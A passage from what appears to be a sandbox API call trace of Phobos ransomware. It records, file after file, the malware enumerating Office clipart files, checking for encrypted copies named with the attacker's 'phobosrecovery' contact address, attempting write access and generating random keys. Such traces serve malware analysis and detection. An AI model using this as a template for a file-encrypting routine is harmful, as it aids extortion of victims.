dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.959] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=10252) returned 1 [0153.959] CloseHandle (hObject=0x588) returned 1 [0153.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00192_.wmf")) returned 0x220 [0153.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00192_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00192_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.959] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00192_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.959] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.959] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.960] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=10176) returned 1 [0153.960] CloseHandle (hObject=0x588) returned 1 [0153.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00194_.wmf")) returned 0x220 [0153.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00194_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00194_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.961] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00197_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.961] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=9100) returned 1 [0153.961] CloseHandle (hObject=0x588) returned 1 [0153.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00197_.wmf")) returned 0x220 [0153.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00197_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00197_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.962] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00197_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.962] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.962] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00199_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00199_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.963] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5630) returned 1 [0153.963] CloseHandle (hObject=0x588) returned 1 [0153.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00199_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00199_.wmf")) returned 0x220 [0153.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00199_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00199_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00199_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00199_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.963] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.964] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=10534) returned 1 [0153.964] CloseHandle (hObject=0x588) returned 1 [0153.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00200_.wmf")) returned 0x220 [0153.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00200_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00200_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.964] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00208_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.964] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=11936) returned 1 [0153.965] CloseHandle (hObject=0x588) returned 1 [0153.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00208_.wmf")) returned 0x220 [0153.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00208_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00208_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.965] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00208_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.965] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.965] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00212_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.965] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=20338) returned 1 [0153.965] CloseHandle (hObject=0x588) returned 1 [0153.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00212_.wmf")) returned 0x220 [0153.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00212_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00212_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00212_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.966] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00221_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00221_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.966] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=8052) returned 1 [0153.966] CloseHandle (hObject=0x588) returned 1 [0153.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00221_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00221_.wmf")) returned 0x220 [0153.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00221_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00221_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00221_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00221_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.968] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00222_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.968] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7772) returned 1 [0153.969] CloseHandle (hObject=0x588) returned 1 [0153.969] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00222_.wmf")) returned 0x220 [0153.969] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00222_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00222_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.969] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.969] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.969] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00223_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.969] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=13890) returned 1 [0153.970] CloseHandle (hObject=0x588) returned 1 [0153.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00223_.wmf")) returned 0x220 [0153.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00223_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00223_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00223_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.970] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00257_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00257_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.971] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=18286) returned 1 [0153.971] CloseHandle (hObject=0x588) returned 1 [0153.971] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00257_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00257_.wmf")) returned 0x220 [0153.971] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00257_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00257_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.971] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00257_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00257_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.971] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.972] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00289_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.972] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=55520) returned 1 [0153.972] CloseHandle (hObject=0x588) returned 1 [0153.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00289_.wmf")) returned 0x220 [0153.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00289_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00289_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.972] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00289_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.972] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.972] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00299_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.973] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=68792) returned 1 [0153.973] CloseHandle (hObject=0x588) returned 1 [0153.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00299_.wmf")) returned 0x220 [0153.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00299_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00299_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00299_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.973] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00305_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.083] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=31236) returned 1 [0154.083] CloseHandle (hObject=0x584) returned 1 [0154.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00305_.wmf")) returned 0x220 [0154.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00305_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00305_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00305_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.084] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00668_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00668_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.084] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5714) returned 1 [0154.085] CloseHandle (hObject=0x584) returned 1 [0154.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00668_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00668_.wmf")) returned 0x220 [0154.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00668_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00668_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00668_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00668_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.085] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00670_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00670_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.086] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5824) returned 1 [0154.086] CloseHandle (hObject=0x584) returned 1 [0154.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00670_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00670_.wmf")) returned 0x220 [0154.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00670_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00670_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00670_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00670_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.086] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00671_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00671_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.087] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1488) returned 1 [0154.087] CloseHandle (hObject=0x584) returned 1 [0154.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00671_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00671_.wmf")) returned 0x220 [0154.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00671_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00671_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff 